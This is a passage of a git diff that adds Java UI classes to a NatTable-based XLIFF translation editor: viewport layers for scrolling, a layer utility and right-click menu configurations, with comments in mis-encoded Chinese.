net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.ScrollBar; + +/** + * 水平布局使用的ViewportLayer + * @author weachy + * @version + * @since JDK1.5 + */ +public class HorizontalViewportLayer extends ViewportLayer { + + public HorizontalViewportLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + } + + public void moveRowPositionIntoViewport(int scrollableRowPosition, boolean forceEntireCellIntoViewport) { + ILayer underlyingLayer = getUnderlyingLayer(); + if (underlyingLayer.getRowIndexByPosition(scrollableRowPosition) >= 0) { + if (scrollableRowPosition >= getMinimumOriginRowPosition()) { + int originRowPosition = getOriginRowPosition(); // 滚动æ¡æ»šåŠ¨è¿‡çš„行数 + + if (scrollableRowPosition < originRowPosition) { + // Move up + setOriginRowPosition(scrollableRowPosition); + } else { + int scrollableRowStartY = underlyingLayer.getStartYOfRowPosition(scrollableRowPosition); // 当å‰é€‰ä¸­è¡Œçš„起始ä½ç½®ï¼ˆåŒ…括滚动过的区域) + int currentRowHeight = underlyingLayer.getRowHeightByPosition(scrollableRowPosition); + int scrollableRowEndY = scrollableRowStartY + currentRowHeight; // 当å‰é€‰ä¸­è¡Œçš„结æŸä½ç½®ï¼ŒåŒ…括ä¸å¯è§çš„部分(包括滚动过的区域) + int clientAreaHeight = getClientAreaHeight(); // 编辑区的高(ä¸åŒ…括滚动过的区域) + int viewportEndY = underlyingLayer.getStartYOfRowPosition(originRowPosition) + clientAreaHeight; // 编辑区的高(包括滚动过的区域) + + if (viewportEndY < scrollableRowEndY) { // 选中行下åŠéƒ¨åˆ†æ²¡æœ‰æ˜¾ç¤ºå®Œå…¨æ—¶ + if (currentRowHeight >= clientAreaHeight) { // 当å‰è¡Œé«˜å¤§äºŽç­‰äºŽç¼–辑区的高 + // Move up:设置起始行为当å‰è¡Œ + setOriginRowPosition(scrollableRowPosition); + } else { + int targetOriginRowPosition = underlyingLayer.getRowPositionByY(scrollableRowEndY + - clientAreaHeight) + 1; + // Move up:将当å‰é€‰ä¸­è¡Œæ˜¾ç¤ºå®Œå…¨ + setOriginRowPosition(targetOriginRowPosition); + } + } + } + } + } + } + + @Override + public boolean doCommand(ILayerCommand command) { + boolean b = super.doCommand(command); + if (command instanceof ClientAreaResizeCommand && command.convertToTargetLayer(this)) { + ClientAreaResizeCommand clientAreaResizeCommand = (ClientAreaResizeCommand) command; + final ScrollBar vBar = clientAreaResizeCommand.getScrollable().getVerticalBar(); // åž‚ç›´æ»šåŠ¨æ¡ + Listener[] listeners = vBar.getListeners(SWT.Selection); + for (Listener listener : listeners) { // 清除默认的 Selection 监å¬ï¼ˆåœ¨ç±» ScrollBarHandlerTemplate 中添加的) + vBar.removeListener(SWT.Selection, listener); + } + vBar.addListener(SWT.Selection, new Listener() { + + private ViewportLayer viewportLayer = HorizontalViewportLayer.this; + private IUniqueIndexLayer scrollableLayer = viewportLayer.getScrollableLayer(); + + public void handleEvent(Event event) { + // 滚动滚动æ¡å‰æ交当å‰å¤„于编辑状æ€çš„文本段 + HsMultiActiveCellEditor.commit(true); + ScrollBar scrollBar = (ScrollBar) event.widget; + + int position = scrollableLayer.getRowPositionByY(scrollBar.getSelection()); + + viewportLayer.invalidateVerticalStructure(); + viewportLayer.setOriginRowPosition(position); + vBar.setIncrement(viewportLayer.getRowHeightByPosition(0)); + + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + }); + } + + return b; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/LayerUtil.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/LayerUtil.java new file mode 100644 index 0000000..69f3d2b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/LayerUtil.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.layer; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +public class LayerUtil extends net.sourceforge.nattable.layer.LayerUtil { + + private static int layoutX; + + private static int layoutY; + + public static void setBodyLayerPosition(int layoutX, int layoutY) { + LayerUtil.layoutX = layoutX; + LayerUtil.layoutY = layoutY; + } + + @SuppressWarnings("unchecked") + public static T getLayer(NatTable table, Class targetLayerClass) { + if (targetLayerClass.equals(NatTable.class)) { + return (T) table; + } + ILayer layer = table.getUnderlyingLayerByPosition(0, 0); // 得到 CompositeLayer + if (layer instanceof CompositeLayer) { + if (targetLayerClass.equals(CompositeLayer.class)) { + return (T) layer; + } + return getLayer((CompositeLayer) layer, targetLayerClass); + } + return null; + } + + @SuppressWarnings("unchecked") + public static T getLayer(CompositeLayer compositeLayer, Class targetLayerClass) { + if (targetLayerClass.equals(CompositeLayer.class)) { + return (T) compositeLayer; + } + ILayer layer = compositeLayer.getChildLayerByLayoutCoordinate(layoutX, layoutY); + while (layer != null && !(targetLayerClass.isInstance(layer))) { + layer = layer.getUnderlyingLayerByPosition(0, 0); + } + return (T) layer; + } + + // AbstractLayerTransform + + public static int getLowerLayerRowPosition(NatTable table, int sourceRowPosition, + Class targetLayerClass) { + ViewportLayer viewportLayer = getLayer(table, ViewportLayer.class); + int originRowPosition = viewportLayer.getOriginRowPosition(); + sourceRowPosition -= originRowPosition + 1; + T t = getLayer(table, targetLayerClass); + return convertRowPosition(viewportLayer, sourceRowPosition, t); + } + + public static int getUpperLayerRowPosition(NatTable table, int sourceRowPosition, + Class sourceLayerClass) { + ViewportLayer viewportLayer = getLayer(table, ViewportLayer.class); + int originRowPosition = viewportLayer.getOriginRowPosition(); + T t = getLayer(table, sourceLayerClass); + sourceRowPosition = convertRowPosition(t, sourceRowPosition, viewportLayer); + sourceRowPosition += originRowPosition + 1; + return sourceRowPosition; + } + + // public static int getRowPosition(ILayer sourceLayer, int sourceRowPosition, + // ILayer targetLayer) { + // Assert.isNotNull(sourceLayer); + // Assert.isNotNull(targetLayer); + // + // if (sourceLayer.equals(targetLayer)) { + // return sourceRowPosition; + // } + // if (targetLayer instanceof IUniqueIndexLayer) { + // return convertRowPosition(sourceLayer, sourceRowPosition, (IUniqueIndexLayer) targetLayer); + // } else if (targetLayer instanceof NatTable) { + // ViewportLayer viewportLayer = getLayer((NatTable) targetLayer, ViewportLayer.class); + // int originRowPosition = viewportLayer.getOriginRowPosition(); + // int targetRowPostion = convertRowPosition(sourceLayer, sourceRowPosition, viewportLayer); + // return targetRowPostion + originRowPosition + 1; + // } else { + // throw new IllegalArgumentException("无法识别的å‚数:å‚æ•°å¿…é¡»ä¸ºæŽ¥å£ IUniqueIndexLayer 的实例或 NatTable 的实例。"); + // } + // } + + /** + * 通过列索引得到列ä½ç½® + * @param table + * NatTable对象 + * @param columnIndex + * 列索引 + * @return 列ä½ç½®; + */ + public static int getColumnPositionByIndex(NatTable table, int columnIndex) { + int columnCount = table.getColumnCount(); + for (int i = 0; i < columnCount; i++) { + if (table.getColumnIndexByPosition(i) == columnIndex) { + return i; + } + } + return -1; + } + + /** + * 通过行索引得到行ä½ç½® + * @param table + * NatTable对象 + * @param rowIndex + * 列索引 + * @return è¡Œä½ç½®; + */ + public static int getRowPositionByIndex(NatTable table, int rowIndex) { + int rowCount = table.getRowCount(); + for (int i = 0; i < rowCount; i++) { + if (table.getRowIndexByPosition(i) == rowIndex) { + return i; + } + } + return -1; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalLayerRowHeaderLayer.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalLayerRowHeaderLayer.java new file mode 100644 index 0000000..15a6f95 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalLayerRowHeaderLayer.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.layer; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.cell.LayerCell; + +public class VerticalLayerRowHeaderLayer extends DataLayer { + public VerticalLayerRowHeaderLayer(IDataProvider dataProvider, int defaultColumnWidth, int defaultRowHeight) { + super(dataProvider,defaultColumnWidth,defaultRowHeight); + } + + @Override + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + if (columnPosition < 0 || columnPosition >= getColumnCount() || rowPosition < 0 || rowPosition >= getRowCount()) { + return null; + } + int rowSpan = 1; + int columnSpan = 1; + if (columnPosition == 0) { + if((rowPosition+1)%3 == 1){ + rowSpan = 3; + } + } + + return new LayerCell(this, columnPosition, rowPosition, columnPosition, rowPosition, columnSpan, rowSpan); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalViewportLayer.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalViewportLayer.java new file mode 100644 index 0000000..c2d7350 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/layer/VerticalViewportLayer.java @@ -0,0 +1,135 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.layer; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.ScrollBar; + +/** + * 垂直布局使用的ViewportLayer + * @author weachy + * @version + * @since JDK1.5 + */ +public class VerticalViewportLayer extends ViewportLayer { + + private ScrollBar vBar; // åž‚ç›´æ»šåŠ¨æ¡ + + public VerticalViewportLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + } + + @Override + public void moveRowPositionIntoViewport(int scrollableRowPosition, boolean forceEntireCellIntoViewport) { + ILayer underlyingLayer = getUnderlyingLayer(); + if (underlyingLayer.getRowIndexByPosition(scrollableRowPosition) >= 0) { + if (scrollableRowPosition >= getMinimumOriginRowPosition()) { + int originRowPosition = getOriginRowPosition(); // 滚动æ¡æ»šåŠ¨è¿‡çš„行数 + + if (scrollableRowPosition < originRowPosition) { + // Move up + setOriginRowPosition(scrollableRowPosition); + } else { + scrollableRowPosition = scrollableRowPosition / VerticalNatTableConfig.ROW_SPAN * VerticalNatTableConfig.ROW_SPAN; + + int clientAreaHeight = getClientAreaHeight(); // 编辑区的高(ä¸åŒ…括滚动过的区域) + int viewportEndY = underlyingLayer.getStartYOfRowPosition(originRowPosition) + clientAreaHeight; // 编辑区的高(包括滚动过的区域) + + int scrollableRowStartY = underlyingLayer.getStartYOfRowPosition(scrollableRowPosition); // 当å‰é€‰ä¸­è¡Œçš„起始ä½ç½®ï¼ˆåŒ…括滚动过的区域) + + if (clientAreaHeight <= 0) { + return; + } + int currentRowHeight = 0; + for (int i = 0; i < VerticalNatTableConfig.ROW_SPAN; i++) { + int currentSubRowHeight = underlyingLayer.getRowHeightByPosition(scrollableRowPosition + i); + currentRowHeight += currentSubRowHeight; + if (currentRowHeight >= clientAreaHeight) { + setOriginRowPosition(scrollableRowPosition + i); + return; + } + } + int scrollableRowEndY = scrollableRowStartY + currentRowHeight; // 当å‰é€‰ä¸­è¡Œçš„结æŸä½ç½®ï¼ŒåŒ…括ä¸å¯è§çš„部分(包括滚动过的区域) + + if (viewportEndY < scrollableRowEndY) { // 选中行下åŠéƒ¨åˆ†æ²¡æœ‰æ˜¾ç¤ºå®Œå…¨æ—¶ + if (currentRowHeight >= clientAreaHeight) { // 当å‰è¡Œé«˜å¤§äºŽç­‰äºŽç¼–辑区的高 + // Move up:设置起始行为当å‰è¡Œ + setOriginRowPosition(scrollableRowPosition); + } else { + int targetOriginRowPosition = underlyingLayer.getRowPositionByY(scrollableRowEndY + - clientAreaHeight) + 1; +// targetOriginRowPosition = targetOriginRowPosition +// + (VerticalNatTableConfig.ROW_SPAN - targetOriginRowPosition % VerticalNatTableConfig.ROW_SPAN); + // Move up:将当å‰é€‰ä¸­è¡Œæ˜¾ç¤ºå®Œå…¨ + setOriginRowPosition(targetOriginRowPosition); + } + } + } + } + } + } + + @Override + public boolean doCommand(ILayerCommand command) { + boolean b = super.doCommand(command); + if (command instanceof ClientAreaResizeCommand && command.convertToTargetLayer(this)) { + ClientAreaResizeCommand clientAreaResizeCommand = (ClientAreaResizeCommand) command; + if (vBar == null) { + vBar = clientAreaResizeCommand.getScrollable().getVerticalBar(); // åž‚ç›´æ»šåŠ¨æ¡ + Listener[] listeners = vBar.getListeners(SWT.Selection); + for (Listener listener : listeners) { // 清除默认的 Selection 监å¬ï¼ˆåœ¨ç±» ScrollBarHandlerTemplate 中添加的) + vBar.removeListener(SWT.Selection, listener); + } + vBar.addListener(SWT.Selection, new Listener() { + +// private int lastPosition = 0; +// private int lastSelection = 0; + + private IUniqueIndexLayer scrollableLayer = VerticalViewportLayer.this.getScrollableLayer(); + + public void handleEvent(Event event) { + + // 滚动滚动æ¡å‰æ交当å‰å¤„于编辑状æ€çš„文本段 +// ActiveCellEditor.commit(); +// ScrollBar scrollBar = (ScrollBar) event.widget; +// +// int selection = scrollBar.getSelection(); +// int position = scrollableLayer.getRowPositionByY(selection); +// +// if (lastSelection == selection) { +// return; +// } +// HsMultiActiveCellEditor.commit(true); +// +// VerticalViewportLayer.this.invalidateVerticalStructure(); // 清除缓存 +// lastPosition = position / VerticalNatTableConfig.ROW_SPAN * VerticalNatTableConfig.ROW_SPAN; +// VerticalViewportLayer.this.setOriginRowPosition(lastPosition); +// vBar.setIncrement(getRowHeightByPosition(0) * VerticalNatTableConfig.ROW_SPAN); // 设置滚动æ¡å¢žé‡ä¸ºä¸¤å€è¡Œé«˜ +// +// lastSelection = selection; +// + HsMultiActiveCellEditor.commit(true); + ScrollBar scrollBar = (ScrollBar) event.widget; + int position = scrollableLayer.getRowPositionByY(scrollBar.getSelection()); + VerticalViewportLayer.this.invalidateVerticalStructure(); + VerticalViewportLayer.this.setOriginRowPosition(position); + scrollBar.setIncrement(VerticalViewportLayer.this.getRowHeightByPosition(0)); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + }); + } + } + return b; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/BodyMenuConfiguration.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/BodyMenuConfiguration.java new file mode 100644 index 0000000..c223551 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/BodyMenuConfiguration.java @@ -0,0 +1,218 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.menu; + +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.PopupMenuAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.ImageConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.menus.CommandContributionItem; +import org.eclipse.ui.menus.CommandContributionItemParameter; + +/** + * BODY区域å³é”®èœå•é…ç½® + * @author Leakey,Weachy + * @version + * @since JDK1.5 + */ +public class BodyMenuConfiguration extends AbstractUiBindingConfiguration { + + /** BODY区域的å³é”®èœå•. */ + private Menu bodyMenu; + + /** natTable. */ + private NatTable table; + + /** + * 得到NatTable对象 + * @return ; + */ + public NatTable getNatTable() { + return table; + } + + /** + * @param table + */ + public BodyMenuConfiguration(final XLIFFEditorImplWithNatTable xliffEditor) { + this.table = xliffEditor.getTable(); + + createMenu(); + + // å°† Menu ä¿å­˜åˆ° NatTable 中,方便获å–(å¯ä½¿ç”¨ NatTable.getData(Menu.class.getName()) 获å–) + table.setData(Menu.class.getName(), bodyMenu); + + table.addDisposeListener(new DisposeListener() { + + public void widgetDisposed(DisposeEvent e) { + table.setData(Menu.class.getName(), null); + if (bodyMenu != null && !bodyMenu.isDisposed()) { + bodyMenu.dispose(); + } + } + }); + } + + /** + * (non-Javadoc) + * @see net.sourceforge.nattable.config.IConfiguration#configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) + */ + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerMouseDownBinding(new MouseEventMatcher(SWT.NONE, GridRegion.BODY, + MouseEventMatcher.RIGHT_BUTTON), new PopupMenuAction(bodyMenu)); + uiBindingRegistry.unregisterMouseDragMode(new MouseEventMatcher(SWT.NONE, GridRegion.BODY, + MouseEventMatcher.RIGHT_BUTTON)); + } + + /** + * 编辑界é¢å³é”®èœå• + * @param menu + * ; + */ + private void createMenu() { + MenuManager menuMgr = new MenuManager(); + bodyMenu = menuMgr.createContextMenu(table.getShell()); + if (!CommonFunction.checkEdition("L")) { + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.database.ui.tm.command.ConcordanceSearch", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_SEARCHTM), null, null, + Messages.getString("menu.BodyMenuConfiguration.searchTM"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.database.ui.tb.command.TermBaseSearch", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_SEARCHTB), null, null, + Messages.getString("menu.BodyMenuConfiguration.searchTermItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + menuMgr.add(new Separator()); + } + + // 此处显示出æ¥ä¸åšä»»ä½•äº‹æƒ…,是因为用户å¯ä»¥é€šè¿‡å³é”®çœ‹åˆ°å½“å‰çŠ¶æ€åˆ—中显示的图标是什么å«ä¹‰ + // 在状æ€åˆ—中,是无法知é“æŸä¸€å›¾æ ‡çš„具体å«ä¹‰çš„ + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.untranslated", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/not-translated.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.emptyTranslationItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.draft", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/draft.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.draftItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + Map mapParameter = new HashMap(); + mapParameter.put("addSegmentToTM", "addToTM"); + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.menu.translation.command.completeTranslation", + mapParameter, Activator.getImageDescriptor("images/state/translated.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.translatedItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + mapParameter = new HashMap(); + mapParameter.put("approveSegment", "approveSelectSegment"); + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.ApproveSelectSegment", + mapParameter, Activator.getImageDescriptor("images/state/approved.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.approveItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.signedOff", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/sign-off.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.signItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new Separator()); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.menu.translation.lockSegment.command.lockSegment", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/locked.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.isLockItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.needReview", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/questioning.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.problemItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.notSendToTM", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/not-sent-db.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.disAddToTMItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new Separator()); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.AddNote", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_ADDNOTE), null, null, + Messages.getString("menu.BodyMenuConfiguration.addNoteItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.EditNote", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_EDITNOTE), null, null, + Messages.getString("menu.BodyMenuConfiguration.editNoteItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.menu.translateContent.command.deleteCurrentSegmentNotes", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_DELETENOTE), null, null, + Messages.getString("menu.BodyMenuConfiguration.deleteNoteItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + menuMgr.add(new Separator()); + + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.menu.translateContent.command.deleteCurrentSegmentTranslations", + Collections.EMPTY_MAP, Activator.getImageDescriptor(ImageConstant.TU_STATE_DELETETRANS), null, null, + Messages.getString("menu.BodyMenuConfiguration.deleteTransItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + + if (CommonFunction.checkEdition("F") || CommonFunction.checkEdition("U")) { + menuMgr.add(new Separator()); + menuMgr.add(new CommandContributionItem( + new CommandContributionItemParameter(PlatformUI + .getWorkbench(), null, "net.heartsome.cat.ts.ui.xliffeditor.nattable.command.splitXLIFFPoint", + Collections.EMPTY_MAP, Activator.getImageDescriptor("images/state/cut-point.png"), null, null, + Messages.getString("menu.BodyMenuConfiguration.splitPointItem"), null, null, CommandContributionItem.STYLE_PUSH, + null, false))); + } + } + + public Menu getMenu() { + return bodyMenu; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/HeaderMenuConfiguration.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/HeaderMenuConfiguration.java new file mode 100644 index 0000000..72e203b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/menu/HeaderMenuConfiguration.java @@ -0,0 +1,139 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.menu; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.ui.NatEventData; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.ui.menu.PopupMenuAction; +import net.sourceforge.nattable.ui.menu.PopupMenuBuilder; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MenuEvent; +import org.eclipse.swt.events.MenuListener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.ui.PlatformUI; + +/** + * 基于 NatTable çš„ XLIFF Editor 表头ã€åˆ—表的èœå•è®¾ç½® + * @author cheney + * @since JDK1.6 + */ +public class HeaderMenuConfiguration extends AbstractUiBindingConfiguration { + + private final Menu colHeaderMenu; + + + + public HeaderMenuConfiguration(NatTable natTable) { + // colHeaderMenu = new PopupMenuBuilder(natTable) + // .withHideColumnMenuItem() + // .withShowAllColumnsMenuItem() + // .withCreateColumnGroupsMenuItem() + // .withUngroupColumnsMenuItem() + // .withColumnChooserMenuItem() + // .withAutoResizeSelectedColumnsMenuItem() + // .withColumnStyleEditor("Edit styles") + // .withColumnRenameDialog("Rename column") + // .withCategoriesBasesColumnChooser("Choose columns") + // .withClearAllFilters("Clear all filters") + // .build(); + + // 需è¦éšè—和显示特定列的功能 + colHeaderMenu = new PopupMenuBuilder(natTable) + /* + * 第一项为“éšè—该列â€çš„èœå•é¡¹ï¼Œå¦‚果以åŽèœå•é¡ºåºåšäº†ä¿®æ”¹ï¼ŒMenuListener中å–出此èœå•é¡¹çš„索引也è¦ç›¸åº”æ”¹å˜ + */ + .withHideColumnMenuItem().withShowAllColumnsMenuItem().build(); + + colHeaderMenu.addMenuListener(new MenuListener() { + + public void menuShown(MenuEvent event) { + if (colHeaderMenu.getItemCount() > 0) { + NatEventData data = (NatEventData) colHeaderMenu.getData(); + int columnPosition = data.getColumnPosition(); + int columnIndex = data.getNatTable().getColumnIndexByPosition(columnPosition); + MenuItem item = colHeaderMenu.getItem(0 /* “éšè—该列â€çš„èœå•é¡¹çš„索引 */); + + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) PlatformUI.getWorkbench() + .getActiveWorkbenchWindow().getActivePage().getActiveEditor(); + if (xliffEditor == null) { + return; + } + if (xliffEditor.isHorizontalLayout()) { + if (columnIndex == 1 || columnIndex == 3) { + item.setEnabled(false); + } else { + item.setEnabled(true); + } + } else { + if (columnIndex == VerticalNatTableConfig.SOURCE_COL_INDEX) { + item.setEnabled(false); + } else { + item.setEnabled(true); + } + } + } + } + + public void menuHidden(MenuEvent e) { + } + }); + + // rowHeaderMenu = new PopupMenuBuilder(natTable).withAutoResizeSelectedRowsMenuItem().build(); + // cornerHeaderMenu = new PopupMenuBuilder(natTable).withMenuItemProvider(new + // AutoResizeALLRowMenuItemProvider()) + // .build(); + + natTable.addDisposeListener(new DisposeListener() { + + 